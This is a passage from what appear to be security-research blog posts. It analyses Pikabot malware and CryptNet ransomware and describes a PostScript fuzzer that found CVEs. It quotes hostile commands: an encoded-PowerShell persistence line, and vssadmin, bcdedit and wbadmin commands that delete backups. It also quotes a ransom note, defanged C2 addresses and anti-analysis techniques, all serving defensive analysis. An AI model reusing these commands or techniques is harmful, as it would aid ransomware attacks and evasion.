has identified the following anti-analysis methods implemented by the injector: Exception Handlers by using int 2d and int 3 instructions to raise them. Reading the BeingDebugged flag of the process environment block (PEB). Use of the Windows API function Beep to delay the execution. Attempt to load junk and incorrect libraries in order to detect sandboxes. This code appears to be copied from https://github.com/CheckPointSW/Evasions/blob/master/_techniques/processes.md. Use of the Windows API functions CheckRemoteDebuggerPresent and IsDebuggerPresent for debugger detection. The value of the NtGlobalFlag in the PEB that indicates a debugger is present. Use of the Windows API function NtQueryInformationProcess with the classes ProcessDebugPort and ProcessDebugFlags. Use of the GetWriteWatch API. The implementation seems to have been copied from here: https://github.com/BaumFX/cpp-anti-debug/blob/master/anti_debug.cpp#L260 Use of the OutputDebugString function in order to detect a debugger. The implementation has been copied from here: https://github.com/BaumFX/cpp-anti-debug/blob/master/anti_debug.cpp#L456 Check the number of processors, which should be greater than or equal to 2. Use of the rdtsc instruction to check for single stepping during debugging. The system random access memory (RAM) must be greater than 2GB. Detection of hardware breakpoints. Detection by checking the trap flag via __readeflags. ANALYST NOTE: It should be noted that the use of exceptions is used in many parts of the code, for example, during the decryption of the core payload. The injector decrypts the core module as follows: Loads a set of PNG images, which are stored in the resources section (RCDATA), and decrypts them using a bitwise XOR operation with a hardcoded 32-byte key. Note that each PNG image holds an encrypted chunk of the core module. Decrypt the XOR decrypted data using AES (CBC mode) with the same 32-byte key and use the first 16 bytes of the encrypted data as an initialization vector (IV). Once the core payload has been decrypted, the Pikabot injector creates a process with a specified file path (e.g. WerFault) and injects the core module into it. Finally, the Pikabot injector sets the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON flag in order to protect the injected process from non-signed Microsoft binaries. Core Module In the following sections, the core module is analyzed with samples compiled in May 2023. Anti-Analysis Similar to the injector, the Pikabot core module performs additional anti-analysis checks. One notable technique is a “sleep” function, which Pikabot uses to delay execution. Instead of using common Windows API functions, Pikabot uses the NtContinue API function in order to set a timer. The technique is not new and it is similar to other proof-of-concepts implementations. In addition to the tests above, Pikabot stops execution if the system's language is any of the following: Georgian (Georgia) Kazakh (Kazakhstan) Uzbek (Cyrillic) Tajik (Tajikistan) Russian (Russia) Ukrainian (Ukraine) Belarusian (Belarus) Slovenian (Slovenia) This check is common for many threat actors that originate from countries in the Commonwealth of Independent States (CIS) to reduce the chances of criminal prosecution. Persistence Pikabot uses two methods to add persistence on a host: Upon execution, Pikabot retrieves its current execution folder and checks if it is located in the AppData folder under a hardcoded folder name (might differ from sample to sample). If Pikabot is not run from this specific file path, then it will add persistence on the compromised host by creating a new value with its file path in the Run registry key (the key name is hardcoded in the binary). On top of that, Pikabot corrupts the current executable file by replacing it with its PE header (512 bytes length) followed by null bytes (3,584 bytes in length). Pikabot downloads a PowerShell script from the command-and-control server and stores it in HKEY_CURRENT_USER\Software\predefined_name, where predefined_name is a hardcoded string in the binary file. Additionally, it stores the encrypted command-and-control servers in the same registry path. Lastly, Pikabot sets a value in the Run registry key to execute a command line that invokes this PowerShell script (e.g., cmd /q /c start /min " powershell "$cimeter = Get-ItemProperty -Path HKCU:\Software\cimeter; powershell -encodedcommand $cimeter.unbevelledHamuli") ANALYST NOTE: Pikabot also has the option to directly execute a downloaded file instead of using this persistence mechanism (Even though this is not currently being used). Command-and-Control Configuration Pikabot does not store the command-and-control information in a single block (e.g. as Qakbot does). Instead, each component (e.g. URIs) is encrypted using ADVobfuscator and the command-and-control server IP addresses and ports are further decrypted during runtime using the following algorithm. Firstly, Pikabot decrypts a string that includes a set of Base64 encoded strings. Then it parses the string using the delimiter '&' and decrypts the contents by following the below steps: Read the first 32 bytes of the string and use them as an AES key. Decode the rest of the string using Base64. Read the first 16 bytes of the decoded string and use them as an IV. Read the rest of the decoded data and decrypt it using AES (CBC mode). The decrypted output is a Base64 string, which results in the command-and-control server IP address and corresponding port. Note that many of the Pikabot command-and-control servers listen on ports that are identical to the ports used by Qakbot’s proxy module such as 1194, 2078, and 2222. There have been some minor changes over the last few months in the way that Pikabot command-and-control servers have been stored. For example, in previous versions, the command-and-control servers were only encoded using Base64 and no further encryption or parsing was required. Pikabot also appears to contain a campaign ID and binary version in each sample. These can be observed during the network communication, where the JSON data has the keys "version" and "stream". The latter appears to be a campaign ID. An example request (before encryption) containing these values is shown below: {"uuid": "F37670100000074E33652510483", "stream": "BB1@T@2e88e610b66b4205853b211f21873208", "os_version": "Win 10.0 19050", "product_number": 161, "username": "test", "pc_name": "DESKTOP-TEST", "cpu_name": "11th Gen Intel(R) Core(TM)", "pc_uptime": 29884462, "gpu_name": "GPU_NAME", "ram_amount": 8096, "screen_resolution": "1560x1440", "version": "0.5.3", "domain_name": "", "domain_controller_name": "unknown", "domain_controller_address": "unknown", "knock_timeout": 254, "is_elevated": 0} The campaign ID values observed by Threatlabz are particularly interesting because of the prefixes BB1 and eu_bb_0. These resemble some of the campaign IDs that have been observed in Qakbot binaries, which frequently contain the prefix BB followed by an integer. Network communication Pikabot starts by registering the compromised host with the command-and-control servers. The registration process involves collecting system information and reporting it to the command-and-control server with an HTTPS POST request. A variety of data is collected such as the following: Network information by executing the command ipconfig.exe /all User/groups information by executing whoami.exe /all Windows build information. Generic host information (e.g. available RAM, screen resolution) Domain controllers information. Similar to other botnets, Pikabot generates a unique bot identifier for the compromised host. The algorithm, which Pikabot uses to generate the bot identifier can be replicated in Python using the code here. Once the registration procedure has been completed and persistence to the compromised host has been established, Pikabot starts requesting tasks from the server. Pikabot supports the following command types: task - a command to execute knock - a keep-alive message The tasks that Pikabot currently supports are described in Table 1. Task Name Description cmd Executes a shell command via cmd.exe. destroy Exits the current process. shellcode Injects and executes downloaded shellcode. dll Injects a downloaded DLL file. exe Injects a downloaded EXE file. additional Collects additional host information by executing one of the commands in Table 2. knock_timeout Updates the timer value, which indicates how often Pikabot should send a knock request. Table 1 - Pikabot tasks description Pikabot also supports the “additional” commands shown in Table 2, which are focused on collecting further system information. Command Description screenshoot Not implemented. whoami Executes the shell command whoami /all. ipconfig Executes the shell command ipconfig /all. processes Collects process information. Table 2 - Additional Pikabot commands description It is worth noting that depending on the network request, Pikabot uses a different URI (which may differ among samples). For example, for reporting a command output, the URI may be Duenna/ZuGAYDS3Y2BeS2vW7vm?AnacrusisCrotalinae=zH4Tfz. The network data encryption procedure is similar to the configuration's decryption process. Pikabot encrypts a network request by following the steps below: The request data is encoded using Base64. Pikabot generates a random 32-byte key and encodes the data again using Base64. Pikabot reads the first 16-bytes of a function prologue and uses these bytes as an IV. The data is encrypted using AES (CBC mode) and encoded with Base64. The 32-byte key is prepended to the encoded data. The hardcoded URI key (e.g. mMG50=) is prepended to the final output. Conclusion Overall, Pikabot is a new malware family that implements an extensive set of anti-analysis techniques and offers common backdoor capabilities to load shellcode and execute arbitrary second-stage binaries. Pikabot may have potential ties to Qakbot with some commonalities in the distribution, design, and campaign identifiers. However, ThreatLabz has not established a definitive link yet between the two malware families. Cloud Sandbox In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Pikabot at various levels with the following threat names: Win32.Trojan.PikaBot Indicators of Compromise Host Indicators SHA256 Hash Description 92153e88db63016334625514802d0d1019363989d7b3f6863947ce0e490c1006 Pikabot Injector/Core module a48c39cc45efea110a7c8edadcb6719f5d1ebbeebb570b345f47172d393c0821 Pikabot Injector/Core module 8ee9141074b48784c89aa5d3cd4010fcf4e6d467b618c8719970f78fcc24a365 Pikabot Injector/Core module a9db5aca01499f6ce404db22fb4ba3e4e0dc4b94a41c805c520bd39262df1ddc Pikabot Injector/Core module 347e2f0d8332dd2d9294d06544c051a302a2436da453b2ccfa2d7829e3a79944 Pikabot Injector/Core module Network Indicators IOC Description hxxps://129.153[.]135.83:2078 Command-and-Control server hxxps://132.148.79[.]222:2222 Command-and-Control server hxxps://45.154.24[.]57:2078 Command-and-Control server hxxps://45.85.235[.]39:2078 Command-and-Control server hxxps://94.199.173[.]6:2222 Command-and-Control server Wed, 24 May 2023 08:10:11 -0700 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot Technical Analysis of CryptNet Ransomware https://www.zscaler.com/blogs/security-research/technical-analysis-cryptnet-ransomware Key Points CryptNet is a new ransomware-as-a-service that has been advertised in underground forums since at least April 2023 The CryptNet threat group claims to perform double extortion attacks by combining data exfiltration with file encryption The ransomware code is written in the .NET programming language CryptNet uses 256-bit AES in CBC mode and 2048-bit RSA to encrypt files The CryptNet ransomware codebase is closely related to Chaos ransomware Zscaler ThreatLabz has been tracking a new ransomware group known as CryptNet that emerged in April 2023. The group claims to exfiltrate data prior to performing file encryption and hosts a data leak site hosted on a Tor hidden service that currently contains two victims. The group operating the ransomware is also actively recruiting affiliates on criminal forums to conduct breaches. The CryptNet ransomware code is written in .NET and obfuscated using .NET Reactor. After removing the obfuscation layer, CryptNet shares many resemblances to the Chaos ransomware families and the latest variant that is known as Yashma. The code similarities include the encryption methods, capabilities to disable backup services and delete shadow copies. CryptNet appears to have streamlined the Yashma code to improve the file encryption performance. In this blog, we will analyze the features of CryptNet and the close relationship with Yashma ransomware. Technical Analysis Obfuscation The CryptNet sample analyzed by ThreatLabz was obfuscated using Eziriz's .NET Reactor. The tool NetReactorSlayer is easily able to remove the control flow and symbols obfuscation layers, but the ransomware’s important strings remain obfuscated in a resource section, which is encrypted using a custom algorithm as shown in Figure 1. Figure 1. Example CryptNet string decryption algorithm ThreatLabz has reimplemented this custom encryption algorithm in Python here. After decryption, the strings are stored sequentially with each string preceded by a DWORD value (in little endian) representing its size (in red) as shown in Figure 2. Figure 2. Decrypted .NET Reactor strings data structure CryptNet then accesses each string by an offset into this structure. Decryption ID One of the first actions taken by the ransomware is to generate a decryption ID that will be added to the ransom note as shown in Figure 3. Figure 3. CryptNet decryption ID generation The decryption ID is composed of two hardcoded characters followed by 28 pseudorandom characters followed by two more hardcoded characters. Therefore, every encrypted system will have a unique decryption ID, although the victim can be determined by the hardcoded prefix and suffix characters. File Encryption After the victim ID is generated, the ransomware will start the main encryption routine as shown in Figure 4. Figure 4. Main CryptNet encryption routine CryptNet will first loop through all directories for each drive letter, excluding those shown in Table 1. windows.old windows.old.old amd nvidia program files program files (x86) windows $recycle.bin documents and settings intel perflogs programdata boot games msocach Table 1. Directories excluded by CryptNet from file encryption The following file names in Table 2 are also excluded from file encryption. iconcache.db autorun.inf thumbs.db boot.ini bootfont.bin ntuser.ini bootmgr bootmgr.efi bootmgfw.efi desktop.ini ntuser.dat Table 2. File names excluded by CryptNet from file encryption CryptNet will encrypt all files that match the following extensions in Table 3. .myd .ndf .qry .sdb .sdf .tmd .tgz .lzo .txt .jar .dat .contact .settings .doc .docx .xls .xlsx .ppt .pptx .odt .jpg .mka .mhtml .oqy .png .csv .py .sql .indd .cs .mp3 .mp4 .dwg .zip .rar .mov .rtf .bmp .mkv .avi .apk .lnk .dib .dic .dif .mdb .php .asp .aspx .html .htm .xml .psd .pdf .xla .cub .dae .divx .iso .7zip .pdb .ico .pas .db .wmv .swf .cer .bak .backup .accdb .bay .p7c .exif .vss .raw .m4a .wma .ace .arj .bz2 .cab .gzip .lzh .tar .jpeg .xz .mpeg .torrent .mpg .core .flv .sie .sum .ibank .wallet .css .js .rb .crt .xlsm .xlsb .7z .cpp .java .jpe .ini .blob .wps .docm .wav .3gp .gif .log .gz .config .vb .m1v .sln .pst .obj .xlam .djvu .inc .cvs .dbf .tbi .wpd .dot .dotx .webm .m4v .amv .m4p .svg .ods .bk .vdi .vmdk .onepkg .accde .jsp .json .xltx .vsdx .uxdc .udl .3ds .3fr .3g2 .accda .accdc .accdw .adp .ai .ai3 .ai4 .ai5 .ai6 .ai7 .ai8 .arw .ascx .asm .asmx .avs .bin .cfm .dbx .dcm .dcr .pict .rgbe .dwt .f4v .exr .kwm .max .mda .mde .mdf .mdw .mht .mpv .msg .myi .nef .odc .geo .swift .odm .odp .oft .orf .pfx .p12 .pl .pls .safe .tab .vbs .xlk .xlm .xlt .xltm .svgz .slk .tar.gz .dmg .ps .psb .tif .rss .key .vob .epsp .dc3 .iff .opt .onetoc2 .nrw .pptm .potx .potm .pot .xlw .xps .xsd .xsf .xsl .kmz .accdr .stm .accdt .ppam .pps .ppsm .1cd .p7b .wdb .sqlite .sqlite3 .db-shm .db-wal .dacpac .zipx .lzma .z .tar.xz .pam .r3d .ova .1c .dt .c .vmx .xhtml .ckp .db3 .dbc .dbs .dbt .dbv .frm .mwb .mrg .txz .mrg .vbox .wmf .wim .xtp2 .xsn .xslt Table 3. File extensions encrypted by CryptNet Depending on the file size, the ransomware will encrypt parts of the file or the full file content. If the file is less than 512KB in size, CryptNet will encrypt the full file. Otherwise, the code will encrypt just the first 128KB of data from the beginning, middle and end of the file as shown in Figure 5. Figure 5. CryptNet encryption algorithm for large files The symmetric encryption algorithm used in both cases is AES in CBC mode with a pseudo randomly generated 32-byte key and 16-byte initialization vector (IV) per file. Each file’s AES key will be encrypted with a hardcoded 2,048-bit RSA key. The ransomware stores the RSA key as an encrypted string in XML format with the RSA modulus and exponent base64 encoded as shown below: <RSAKeyValue><Modulus>8TO8tQQRyFqQ0VShtSpLkDqtDVsrxS8SfdOsqRAj8mWF7sVoGzyZMcv501DF6iZUdKYsFDlaSMnuckG9+MJmD2ldZwU/0H6Xztkta1BkJWSO2qHg2JAGDp9ZsFGP1wDR9oRb1w7wtBe7Db3wf7q848+qKPWiTP/2R/jlR4evW73M65Jdo9uOzQnbmvw+blsloXeszuYlW2nCcwQ7WarzAK29UmM9ZHS0/lqzU0KHNU+DvyfGwmMJgtb2HN6GFGXq9Z0n3dNBCQVzdUl2G/7fLAMoFbJeExn5USZdFHr2ygheTilo/shmfq7tcPCZM8C4zqBtb0Nbct0f/M48+H920Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue> The RSA encrypted AES key is then prepended to the encrypted file content. Ransom note and finishing actions During the encryption process, CryptNet will drop a ransom note with the name RESTORE-FILES-[9 random chars].txt containing the following text: *** CRYPTNET RANSOMWARE *** --- What happened? --- All of your files are encrypted and stolen. Stolen data will be published soon on our tor website. There is no way to recover your data and prevent data leakage without us Decryption is not possible without private key. Don't waste your and our time to recover your files. It is impossible without our help --- How to recover files & prevent leakage? --- To make sure that we REALLY CAN recover your data - we offer FREE DECRYPTION for warranty. We promise that you can recover all your files safely and prevent data leakage. We can do it! --- Contact Us--- Download Tor Browser - https://www.torproject.org/download/ and install it Open website: http://cryptr3fmuv4di5uiczofjuypopr63x2gltlsvhur2ump4ebru2xd3yd.onion Enter DECRYPTION ID: [DECRYPTION ID] CryptNet will then proceed to change the wallpaper and kill the following processes in Table 4. sqlwriter sqbcoreservice VirtualBoxVM sqlagent sqlbrowser sqlservr code steam zoolz agntsvc firefoxconfig infopath synctime VBoxSVC tbirdconfig thebat thebat64 isqlplussvc mydesktopservice mysqld ocssd onenote mspub mydesktopqos CNTAoSMgr Ntrtscan vmplayer oracle outlook powerpnt wps xfssvccon ProcessHacker dbeng50 dbsnmp encsvc excel tmlisten PccNTMon mysqld-nt mysqld-opt ocautoupds ocomm msaccess msftesql thunderbird visio winword wordpad mbamtray Table 4. Processes terminated by CryptNet Additionally, if the ransomware is run with administrator privileges, CryptNet will stop the list of services shown in Table 5. BackupExecAgentBrowser veeam VeeamDeploymentSvc PDVFSService BackupExecVSSProvider4 BackupExecAgentAccelerator svc AcrSch2Svc AcronisAgent Veeam.EndPoint.Service CASAD2DWebSvc CAARCUpdateSvc YooIT memtas sophos DefWatch ccEvtMgr SavRoam RTVscan QBFCService Intuit.QuickBooks.FCS YooBackup BackupExecRPCService MSSQLSERVER backup GxVss GxBlr GxFWD GxCVD GxCIMgr VeeamNFSSvc8 BackupExecDiveciMediaService SQLBrowser SQLAgent$VEEAMSQL2008R2 SQLAgent$VEEAMSQL2012 VeeamDeploymentService BackupExecJobEngine Veeam.EndPoint.Tray6 BackupExecManagementService SQLAgent$SQL_2008 zhudongfangyu stc_raw_agent QBCFMonitorService VeeamTransportSvc VSNAPVSS$ Table 5. Services stopped by CryptNet CryptNet will also remove Windows shadow copies and then delete the backup catalog if the ransomware has administrator privileges. To perform those actions, the following commands are executed: vssadmin delete shadows /all /quiet & wmic shadowcopy delete bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no wbadmin delete catalog -quiet Victim Portal and Data Leak Site When a victim accesses the Tor hidden service in the ransom note, a login screen prompts the user to enter a decryption ID and solve a captcha as shown in Figure 6. Figure 6. CryptNet victim ransom portal After the decryption ID is entered, the victim is presented with a timer and an option to test file decryption as shown in Figure 7. Figure 7. CryptNet ransom portal with test decryption The portal also provides a chat feature to interact with the threat group and negotiate a ransom payment as shown in Figure 8. Figure 8. CryptNet live chat support There is an automated message in the chat that provides a link to a “blog” site, where the CryptNet threat group publishes stolen data belonging to companies that have been breached as shown in Figure 9. Figure 9. CryptNet data leak site The Chaos/Yashma link Similarities CryptNet is clearly using the same codebase as the Chaos and Yashma ransomware families with numerous similarities in the code. For example, Figure 10 shows a comparison between the main encryption routines of CryptNet and Yashma with the same structure, checks and control flow. Figure 10. Comparison of the Yashma (left) and CryptNet (right) main encryption routines The excluded folders and files are also very similar along with the file extensions that are targeted for encryption (provided in the Appendix). Both ransomware families also stop an extensive list of backup services and execute identical commands to delete shadow copies, disable recovery mode and delete the backup catalog as shown in Figure 11. Figure 11. Yashma (left) vs CryptNet (right) commands to disable backups Differencies When compared with Yashma, CryptNet lacks some features including a lack of persistence and language/country restrictions. In addition, CryptNet uses different techniques to encrypt files (based on size) and a different method for concurrency. These differences are likely performance-oriented to speed up the amount of time required to encrypt files. Yashma encrypts the full content of all files (which can take significant time for larger files), while CryptNet will only fully encrypt small files (< 512KB) and small parts of larger files. The concurrency implementation also differs between CryptNet and Yashma. The former uses a Parallel.For loop to iterate through each file, while CryptNet uses Tasks to process each directory as shown in Figure 12. Figure 12. Yashma (left) vs CryptNet (right) concurrency implementations The Tasks concurrency implementation is likely more suitable for file encryption operations. Conclusion CryptNet is a simple but effective ransomware that has taken the popular Chaos and Yashma codebase and increased the file encryption efficiency. The code is not particularly advanced, but the algorithms and implementation are cryptographically secure. They also claim to perform double extortion attacks, following an increasing trend that has been set by more advanced threat groups. Zscaler ThreatLabz continues to track this threat group and add detections to protect our customers. Cloud Sandbox In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to CryptNet at various levels with the following threat names: Win32.Ransom.CryptNet Indicators of Compromise (IOCs) SHA256 Description 2e37320ed43e99835caa1b851e963ebbf153f16cbe395f259bd2200d14c7b775 CryptNet ransomware Appendix Yashma excluded folders Program Files Program Files (x86) Windows $Recycle.Bin MSOCache Documents and Settings Intel PerfLogs Windows.old AMD NVIDIA ProgramData Yashma excluded files appdata\\local appdata\\locallow users\\all users \\ProgramData boot.ini bootfont.bin boot.ini iconcache.db ntuser.dat ntuser.dat.log ntuser.ini thumbs.db autorun.inf bootsect.bak bootmgfw.efi desktop.ini Yashma extensions to encrypt .txt .jar .dat .contact .settings .doc .docx .xls .xlsx .ppt .pptx .odt .jpg .mka .mhtml .oqy .png .csv .py .sql .mdb .php .asp .aspx .html .htm .xml .psd .pdf .xla .cub .dae .indd .cs .mp3 .mp4 .dwg .zip .rar .mov .rtf .bmp .mkv .avi .apk .lnk .dib .dic .dif .divx .iso .7zip .ace .arj .bz2 .cab .gzip .lzh .tar .jpeg .xz .mpeg .torrent .mpg .core .pdb .ico .pas .db .wmv .swf .cer .bak .backup .accdb .bay .p7c .exif .vss .raw .m4a .wma .flv .sie .sum .ibank .wallet .css .js .rb .crt .xlsm .xlsb .7z .cpp .java .jpe .ini .blob .wps .docm .wav .3gp .webm .m4v .amv .m4p .svg .ods .bk .vdi .vmdk .onepkg .accde .jsp .json .gif .log .gz .config .vb .m1v .sln .pst .obj .xlam .djvu .inc .cvs .dbf .tbi .wpd .dot .dotx .xltx .pptm .potx .potm .pot .xlw .xps .xsd .xsf .xsl .kmz .accdr .stm .accdt .ppam .pps .ppsm .1cd .3ds .3fr .3g2 .accda .accdc .accdw .adp .ai .ai3 .ai4 .ai5 .ai6 .ai7 .ai8 .arw .ascx .asm .asmx .avs .bin .cfm .dbx .dcm .dcr .pict .rgbe .dwt .f4v .exr .kwm .max .mda .mde .mdf .mdw .mht .mpv .msg .myi .nef .odc .geo .swift .odm .odp .oft .orf .pfx .p12 .pl .pls .safe .tab .vbs .xlk .xlm .xlt .xltm .svgz .slk .tar.gz .dmg .ps .psb .tif .rss .key .vob .epsp .dc3 .iff .onepkg .onetoc2 .opt .p7b .pam .r3d .anom .exe Tue, 16 May 2023 01:10:03 -0700 Santiago Vicente https://www.zscaler.com/blogs/security-research/technical-analysis-cryptnet-ransomware Smash PostScript Interpreters Using A Syntax-Aware Fuzzer https://www.zscaler.com/blogs/security-research/smash-postscript-interpreters-using-syntax-aware-fuzzer In 2022, Zscaler’s ThreatLabz performed vulnerability hunting for some of the most popular PostScript interpreters using a custom-built syntax-aware fuzzer. The PostScript interpreters that were evaluated include Adobe Acrobat Distiller and Apple’s PSNormalizer. At the time of publication, ThreatLabz has discovered three vulnerabilities (CVE-2022-35665, CVE-2022-35666, CVE-2022-35668) in Adobe Acrobat Distiller and one vulnerability (CVE-2022-32843) in Apple’s PSNormalizer. This blog presents how the syntax-aware fuzzer was developed and analyzes the results. PostScript Language PostScript is a stack-based programming language, where values are pushed onto a stack and popped off by subsequent operations. It is a high-level language with a rich set of built-in operators for executing a wide range of tasks, including manipulating text, drawing shapes, and transforming graphics. A PostScript interpreter executes a PostScript language according to the rules that determine the order in which operations are carried out and how the pieces of a PostScript program fit together to produce results. The interpreter manipulates entities that are called PostScript objects. Some objects are data, such as numbers, boolean values, strings, and arrays. Other objects are elements of programs to be executed, such as names, operators, and procedures. However, there is no distinction between data and programs. Any PostScript object can be treated as data or executed as part of a program. A character stream can be scanned according to the syntax rules of the PostScript language, producing a sequence of new objects. The interpreter operates by executing a sequence of objects. The PostScript interpreter can manage five stacks representing the execution state of a PostScript program: the operand stack, dictionary stack, execution stack, graphics state stack, and clipping path stack. The former three stacks are relevant for this blog and described below: The operand stack is used to hold arbitrary PostScript objects that are the operands and results of PostScript operators being executed. The interpreter pushes objects on the operand stack when it encounters them as literal data in a program being executed. The dictionary stack is used to hold the dictionary objects that define the current context for PostScript operations. The execution stack is used to hold the executable objects which are mainly procedures and files. At any point in the execution of a PostScript program, this stack represents the program’s call stack. There are more than 300 operators supported in the PostScript language. Each operator description is presented in the following format illustrated in Figure 1. Figure 1. A detailed description of the operator in the PostScript program Syntax-Aware Fuzzer We developed a syntax-aware fuzzer to find vulnerabilities in two popular PostScript interpreters: Acrobat Distiller and PSNormalizer. In order to implement a syntax-aware fuzzer, we first needed to write well-functioning grammar rules to parse all kinds of character streams for the PostScript language. We wrote a grammar file for the PostScript language in ANTLR (ANother Tool for Language Recognition). Second, we needed to implement a PostScript generator based on the grammar rules. We constructed the parse tree by walking through parser rules in the grammar file randomly, using the Python treelib package. After completing the construction of the parse tree, we traversed all terminal nodes in the parse tree and generated a new PostScript character stream to derive a new test case. Grammar Development With ANTLR A grammar file in ANTLR is made up of the parser rules and the lexer rules. The lexers are also known as tokenizers, which are the first step in creating a parser. A lexer takes the individual characters and transforms them into tokens. The parser then uses the tokens to create a logical structure and generate a parse tree. Figure 2 shows a code snippet of the grammar file for the PostScript language in ANTLRv4. Figure 2. Code snippet of the grammar file for PostScript language in ANTLR Let’s take a look at an example in Figure 3 and imagine that we are trying to parse a mathematical operation. Figure 3. The workflow of constructing the parse tree in ANTLR In this blog, we won’t go into the internals of ANTLR or how to write a grammar rule in ANTLR. An excellent ANTLR tutorial can be found here. As shown in Figure 2, the starting rule of the PostScript parser rules is ps. We can test the following PostScript program with the grammar file in ANTLR. { [1 2 1 3] << /r 1 /s 2>> 4 256 {-32 -250 1048 750} [0.001 0 0 0.001 0 0] << 0 << /PageSize [612 1008] >> 1 << /PageSize [612 792] >> >> (aaaa) setcolorspace } stopped pop The following GUI demonstrates that ANTLR can parse the code snippet of a PostScript program into a parse tree based on the defined grammar file. We can get the sequence of the tokens (the input PostScript program) via a depth-first search algorithm as shown in Figure 4. Figure 4. The sequence of the tokens (the input PostScript program) via a depth-first search algorithm The ANTLR parser recognizes the elements presented in the source code and builds a parse tree. We generated a large number of test cases with the grammar rule for the Postscript language in ANTLR, which was able to parse almost all of the Postscript programs. ANTLR is capable of recognizing the characters present in the source code and constructing it as a parse tree. However, it is not able to generate the PostScript code randomly based on the grammar. In order to develop a syntax-aware fuzzer, the first step is to write a well-functioning grammar file for the PostScript program, the second step is to construct the parse tree by walking through the parser rules in the grammar file randomly and finally generate the PostScript code by traversing all terminal nodes in the parse tree. The grammar file for the PostScript program in ANTLR enabled us to complete the first step. Therefore, we had to implement a PostScript generator based on the grammar rules. Parse Tree Construction In order to construct the parse tree by walking through the different parser rules randomly in the grammar file, we leveraged the Python treelib package, which provides an efficient implementation of a tree data structure. The main features of treelib include: support for common tree operations like traversing, insertion, deletion, node moving, shallow/deep copying, subtree cutting, etc. support for a user-defined data payload to accelerate model construction. efficient operation for searching nodes. We considered the following pattern to start the construction of the parse tree. { <fuzz> } stopped pop Similar to a programming language like Javascript, it is possible to implement a try/catch block in Postscript. The operator stopped in PostScript provides an effective way for a PostScript program to “catch” errors or other premature terminations, and potentially perform its own error recovery. In PostScript, curly braces { and } enclose a procedure (an executable array or executable packed array object). The interpreter does not execute a procedure immediately, but treats it as data; it pushes the procedure on the operand stack. Only when the procedure is explicitly invoked will it be executed. A PostScript program may terminate prematurely by executing the stop operator. The stopped operator establishes an execution environment that encapsulates the effect of a stop. That is, stopped executes a procedure given as an operand and places a boolean value on the stack. This value can be popped in order to preserve the operand stack before and after the handling procedure. If the interpreter executes stop during that procedure, it terminates the procedure and resumes execution at the object immediately after the stopped operator. Figure 5 shows the parser rule for a procedure in ANTLR. Figure 5. The parser rule for procedure in ANTLR We start constructing the parse tree from the procedure parser rule. Figure 6 shows the code snippet to construct the parse tree randomly starting from the procedure parser rule. Figure 6. Code snippet of constructing the parse tree randomly Once we finish the construction of the parse tree, we can traverse the parse tree to obtain the character stream of all terminal nodes and then generate a new test case as shown in Figure 7. Figure 7. Code to traverse the parse tree and obtain the character stream of all terminal nodes Figure 8 shows a newly generated PostScript test case from our syntax-aware fuzzer. Figure 8. A newly generated PostScript test case Fuzzing Results We discovered three vulnerabilities that are identified as CVE-2022-35665, CVE-2022-35666, and CVE-2022-35668 in Adobe Acrobat Distiller and one vulnerability that is identified as CVE-2022-32843 in Apple’s PSNormalizer via our syntax-aware PostScript fuzzer. Respectively, these vulnerabilities were addressed in https://helpx.adobe.com/security/products/acrobat/apsb22-39.html and https://support.apple.com/en-us/HT213345. The affected software applications for CVE-2022-35665, CVE-2022-35666, CVE-2022-35668 are the following: Acrobat DC Continuous 22.001.20169 and earlier versions in Windows & macOS Acrobat 2020 Classic 2020  20.005.30362 and earlier versions in Windows & macOS Acrobat 2017 Classic 2017 17.012.30249 and earlier versions  in Windows & macOS The affected software applications for CVE-2022-32843 are the following: macOS Monterey 12.4 and earlier versions macOS Big Sur 11.6.7 and earlier versions Security Update 2022-004 Catalina and earlier versions CVE-2022-35665: Adobe Acrobat Distiller PostScript File Use-After-Free Vulnerability A specially crafted PostScript file can trigger a Use-After-Free vulnerability that could result in arbitrary code execution in the context of the current user. Figure 9 shows the PoC for CVE-2022-35665. Figure 8. The PoC for CVE-2022-35665 Figure 9 shows the crash information in WinDBG. Figure 9. The crash information in WinDBG for CVE-2022-35665 CVE-2022-35666: Adobe Acrobat Distiller PostScript File Arbitrary Code Execution Vulnerability A specially crafted PostScript file can trigger an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Figure 10 shows the PoC for CVE-2022-35666. Figure 10. The PoC for CVE-2022-35666 This vulnerability can be reproduced reliably in Adobe Acrobat Pro DC on macOS. This should work on the "standard" conversion in the Acrobat Distiller. Figure 11 shows the Console app with the full crash report for CVE-2022-35666. Figure 11. The full crash report for CVE-2022-35666 in the Adobe Acrobat Distiller Next, let’s take a closer look at where the crash occurs in the debugger LLDB as shown in Figure 12. Figure 12. The location where the crash for CVE-2022-35666 occurs in the debugger LLDB CVE-2022-35668: Adobe Acrobat Distiller PostScript File Improper Input Validation Information Disclosure Vulnerability A specially crafted PostScript file can trigger an Improper Input Validation vulnerability that could lead to the disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Figure 13 shows the PoC for CVE-2022-35668. Figure 13. The PoC for CVE-2022-35668 Figure 14 shows the crash information in WinDBG. Figure 14. The crash information in Windbg for CVE-2022-35668 CVE-2022-32843: Apple PSNormalizer PostScript File Memory Out-of-Bounds Write Vulnerability CVE-2022-32843 is an out-of-bounds write vulnerability in Apple’s PSNormalizer Framework due to the lack of proper bounds checking. Processing a maliciously crafted PostScript file may result in unexpected app termination or disclosure of process memory. This vulnerability was addressed in https://support.apple.com/en-us/HT213345 by Apple. Figure 15 shows the PoC for CVE-2022-32843. Figure 15. The PoC for CVE-2022-32843 Figure 16 shows LLDB attached to the normalizerd process when the crash occurs. Figure 16. Debugging CVE-2022-32843 in LLDB Summary Developing a syntax-aware fuzzer for PostScript interpreters is challenging and fun. In this blog, we discussed how to implement a syntax-aware fuzzer using ANTLRv4 and the Python treelib package for the PostScript language. Using these techniques, we discovered three vulnerabilities (CVE-2022-35665, CVE-2022-35666, and CVE-2022-35668) in Adobe Acrobat Distiller and one vulnerability (CVE-2022-32843) in Apple’s PSNormalizer. Lastly, we walked through PoCs for each of these four vulnerabilities. Mitigation All users of Adobe Acrobat are encouraged to upgrade to the latest version of this software. All users of macOS are encouraged to upgrade to the latest version. Zscaler’s Advanced Threat Protection and Advanced 